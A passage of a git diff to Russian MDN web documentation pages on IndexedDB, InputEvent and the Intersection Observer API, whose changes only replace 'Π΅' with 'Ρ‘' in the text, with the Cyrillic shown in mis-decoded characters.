+<p>Когда Π²Ρ‹ создаётС Π½ΠΎΠ²ΡƒΡŽ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚Π΅ Π½ΠΎΠΌΠ΅Ρ€ вСрсии ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (задавая больший Π½ΠΎΠΌΠ΅Ρ€ вСрсии, Ρ‡Π΅ΠΌ Ρ‚ΠΎΡ‚ Π½ΠΎΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π²Π°ΠΌΠΈ ΡƒΠΊΠ°Π·Π°Π½ ΠΏΡ€ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускаСтся событиС <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. Π’ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ этого события Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для этой вСрсии Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…:</p>
<pre class="brush:js;">// Π­Ρ‚ΠΎ событиС появилось Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² самых Π½ΠΎΠ²Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…
request.onupgradeneeded = function(event) {
var db = event.target.result;
- // Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² для этой Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…
+ // Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² для этой Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…
var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
};</pre>
diff --git a/files/ru/web/api/inputevent/index.html b/files/ru/web/api/inputevent/index.html
index 8dd6cc087e..1bf9b77f4b 100644
--- a/files/ru/web/api/inputevent/index.html
+++ b/files/ru/web/api/inputevent/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/InputEvent
<dl>
<dt>{{domxref("InputEvent.InputEvent", "InputEvent()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚Β <code>InputEvent</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚Β <code>InputEvent</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/intersection_observer_api/index.html b/files/ru/web/api/intersection_observer_api/index.html
index bd086266e6..bd1354931e 100644
--- a/files/ru/web/api/intersection_observer_api/index.html
+++ b/files/ru/web/api/intersection_observer_api/index.html
@@ -10,12 +10,12 @@ translation_of: Web/API/Intersection_Observer_API
<p class="summary">Intersection Observer API позволяСт Π²Π΅Π±-прилоТСниям асинхронно ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ пСрСсСчСния элСмСнта с Π΅Π³ΠΎ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ ΠΈΠ»ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° {{Glossary("viewport")}}.</p>
-<p>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ видимости ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ элСмСнта ΠΈΠ»ΠΈ видимости Π΄Π²ΡƒΡ… элСмСнтов ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ Π΄Ρ€ΡƒΠ³ ΠΊ Π΄Ρ€ΡƒΠ³Ρƒ Π±Ρ‹Π»ΠΎ нСпростой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ. Π’Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этой Π·Π°Π΄Π°Ρ‡ΠΈ Π±Ρ‹Π»ΠΈ Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌΠΈ ΠΈ замСдляли Ρ€Π°Π±ΠΎΡ‚Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. К Π½Π΅ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Π΅Π± "взрослСл", ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ росла ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ:</p>
+<p>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ видимости ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ элСмСнта ΠΈΠ»ΠΈ видимости Π΄Π²ΡƒΡ… элСмСнтов ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ Π΄Ρ€ΡƒΠ³ ΠΊ Π΄Ρ€ΡƒΠ³Ρƒ Π±Ρ‹Π»ΠΎ нСпростой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ. Π’Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этой Π·Π°Π΄Π°Ρ‡ΠΈ Π±Ρ‹Π»ΠΈ Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌΠΈ ΠΈ замСдляли Ρ€Π°Π±ΠΎΡ‚Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. К Π½Π΅ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Π΅Π± "взрослСл", ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ росла ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ:</p>
<ul>
<li>ΠžΡ‚Π»ΠΎΠΆΠ΅Π½Π½Π°Ρ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ страницы.</li>
<li>РСализация Π²Π΅Π±-сайтов с "бСсконСчным скроллом", Π³Π΄Π΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ подгруТаСтся ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ страница прокручиваСтся Π²Π½ΠΈΠ·, ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ страницами.</li>
- <li>ΠžΡ‚Ρ‡Π΅Ρ‚ ΠΎ видимости Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹ с Ρ†Π΅Π»ΡŒΡŽ ΠΏΠΎΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΡ…ΠΎΠ΄Ρ‹ ΠΎΡ‚ Π½Π΅Π΅.</li>
+ <li>ΠžΡ‚Ρ‡Ρ‘Ρ‚ ΠΎ видимости Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹ с Ρ†Π΅Π»ΡŒΡŽ ΠΏΠΎΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΡ…ΠΎΠ΄Ρ‹ ΠΎΡ‚ Π½Π΅Π΅.</li>
<li>ΠŸΡ€ΠΈΠ½ΡΡ‚ΠΈΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π»ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ процСсс ΠΈΠ»ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</li>
</ul>
@@ -23,7 +23,7 @@ translation_of: Web/API/Intersection_Observer_API
<p>Рассмотрим Π²Π΅Π±-страницу с бСсконСчным скроллом. На Π½Π΅ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° для управлСния пСриодичСски Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌΠΎΠΉ ΠΏΠΎ всСй страницС Ρ€Π΅ΠΊΠ»Π°ΠΌΠΎΠΉ, ΠΏΠΎΠ²ΡΡŽΠ΄Ρƒ анимированная Π³Ρ€Π°Ρ„ΠΈΠΊΠ°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° для отобраТСния Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΊΠΎΠ½. И всС эти Π²Π΅Ρ‰ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ свои собствСнныС ΠΏΡ€Π°Π²ΠΈΠ»Π° для обнаруТСния пСрСсСчСний, ΠΈ всС ΠΎΠ½ΠΈ Π·Π°ΠΏΡƒΡ‰Π΅Π½Ρ‹ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅. Автор сайта ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΏΠΎΠ΄ΠΎΠ·Ρ€Π΅Π²Π°Ρ‚ΡŒ ΠΎΠ± этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ сторонниС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΈΠ·Π½ΡƒΡ‚Ρ€ΠΈ. Π’ то ТС врСмя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ страницы сталкиваСтся с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π° сайта замСдляСтся постоянным срабатываниСм обнаруТСния пСрСсСчСния, Ρ‡Ρ‚ΠΎ Π² ΠΈΡ‚ΠΎΠ³Π΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅Π΄ΠΎΠ²ΠΎΠ»Π΅Π½ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, сайтом ΠΈΒ  своим ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ.</p>
-<p>Intersection Observer API Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая выполнится ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅ΡΠ΅Ρ‡Π΅Π½ΠΈΠΈΒ Π½Π°Π±Π»ΡŽΠ΄Π°Π΅ΠΌΡ‹ΠΌ элСмСнтом Π³Ρ€Π°Π½ΠΈΡ† Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта (ΠΈΠ»ΠΈ области видимости Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° {{Glossary("viewport")}}), Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ пСрСсСчСния Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, большС Π½Π΅Ρ‚ нСобходимости Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ пСрСсСчСниС элСмСнтов Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅, ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ ΡΡ‚ΠΈ процСссы Π½Π° своё усмотрСниС.</p>
+<p>Intersection Observer API Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая выполнится ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅ΡΠ΅Ρ‡Π΅Π½ΠΈΠΈΒ Π½Π°Π±Π»ΡŽΠ΄Π°Π΅ΠΌΡ‹ΠΌ элСмСнтом Π³Ρ€Π°Π½ΠΈΡ† Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта (ΠΈΠ»ΠΈ области видимости Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° {{Glossary("viewport")}}), Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ пСрСсСчСния Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, большС Π½Π΅Ρ‚ нСобходимости Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ пСрСсСчСниС элСмСнтов Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅, ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ ΡΡ‚ΠΈ процСссы Π½Π° своё усмотрСниС.</p>
<p>Observer API Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΡƒΠ·Π½Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ число пиксСлСй ΠΈΠ»ΠΈΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ пиксСли Π² пСрСсСчСнии; ΠΎΠ΄Π½Π°ΠΊΠΎ, Π΅Π³ΠΎ использованиС ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ частыС сцСнарии Π²Ρ€ΠΎΠ΄Π΅ "Если элСмСнты ΠΏΠ΅Ρ€Π΅ΡΠ΅ΠΊΠ°ΡŽΡ‚ΡΡ Π½Π° N%, сдСлай Ρ‚ΠΎ-Ρ‚ΠΎ".</p>
@@ -35,7 +35,7 @@ translation_of: Web/API/Intersection_Observer_API
<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт Π² качСствС ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ, API Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ, вызывая Π·Π°Π΄Π°Π½Π½ΡƒΡŽ Π²Π°ΠΌΠΈ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта измСняСт Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° пСрСсСкаСт Π² Π½ΡƒΠΆΠ½ΠΎΠΉ стСпСни ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт.</p>
-<p>Π‘Ρ‚Π΅ΠΏΠ΅Π½ΡŒ пСрСсСчСния Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΈ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта задаСтся Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΠΎΡ‚Β  0.0 Π΄ΠΎ 1.0, Π³Π΄Π΅ 1.0 это ΠΏΠΎΠ»Π½ΠΎΠ΅ пСрСсСчСниС Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта Π³Ρ€Π°Π½ΠΈΡ† ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ.</p>
+<p>Π‘Ρ‚Π΅ΠΏΠ΅Π½ΡŒ пСрСсСчСния Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΈ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта задаётся Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΠΎΡ‚Β  0.0 Π΄ΠΎ 1.0, Π³Π΄Π΅ 1.0 это ΠΏΠΎΠ»Π½ΠΎΠ΅ пСрСсСчСниС Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ элСмСнта Π³Ρ€Π°Π½ΠΈΡ† ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ.</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_использования">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования</h3>
@@ -97,7 +97,7 @@ observer.observe(target);
<dt>{{domxref("IntersectionObserver")}}</dt>
<dd>Основной интСрфСйс для API Intersection Observer. ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для создания ΠΈ управлСния observer, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚ΡŒ любоС количСство Ρ†Π΅Π»Π΅Π²Ρ‹Ρ… элСмСнтов для ΠΎΠ΄Π½ΠΎΠΉ ΠΈ Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ пСрСсСчСния. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ observer ΠΌΠΎΠΆΠ΅Ρ‚ асинхронно Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚ΡŒ измСнСния Π² пСрСсСчСнии ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ»ΠΈ нСсколькими Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌΠΈ элСмСнтами ΠΈ ΠΎΠ±Ρ‰ΠΈΠΌ элСмСнтом-ΠΏΡ€Π΅Π΄ΠΊΠΎΠΌ ΠΈΠ»ΠΈ с ΠΈΡ… Π²Π΅Ρ€Ρ…Π½ΠΈΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ {{domxref("Document")}}'s {{Glossary('viewport')}}. ΠŸΡ€Π΅Π΄ΠΎΠΊ ΠΈΠ»ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ просмотра упоминаСтся ΠΊΠ°ΠΊ <strong>root</strong>.</dd>
<dt>{{domxref("IntersectionObserverEntry")}}</dt>
- <dd>ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ пСрСсСчСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ элСмСнтом ΠΈ Π΅Π³ΠΎ ΠΊΠΎΡ€Π½Π΅Π²Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ этого Ρ‚ΠΈΠΏΠ° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ двумя способами: Π² качСствС Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для вашСго колбэка IntersectionObserver ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref ("IntersectionObserver.takeRecords()")}}.</dd>
+ <dd>ΠžΠΏΠΈΡΡ‹Π²Π°Π΅Ρ‚ пСрСсСчСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ элСмСнтом ΠΈ Π΅Π³ΠΎ ΠΊΠΎΡ€Π½Π΅Π²Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ этого Ρ‚ΠΈΠΏΠ° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ двумя способами: Π² качСствС Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для вашСго колбэка IntersectionObserver ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref ("IntersectionObserver.takeRecords()")}}.</dd>
</dl>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html
index b4fb095993..b7f1bf0997 100644
--- a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html
+++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html
@@ -53,7 +53,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility
<h3 id="Основа">Основа</h3>
-<p>ΠœΡ‹ создаСм стили для {{HTMLElement("body")}} ΠΈ {{HTMLElement("main")}} Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΡΠ΅Ρ‚ΠΎΡ‡Π½ΡƒΡŽ систСму.</p>
+<p>ΠœΡ‹ создаём стили для {{HTMLElement("body")}} ΠΈ {{HTMLElement("main")}} Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΡΠ΅Ρ‚ΠΎΡ‡Π½ΡƒΡŽ систСму.</p>
<pre class="brush: css notranslate">body {
font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
@@ -93,7 +93,7 @@ translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility
<h3 id="Боковая_панСль">Боковая панСль</h3>
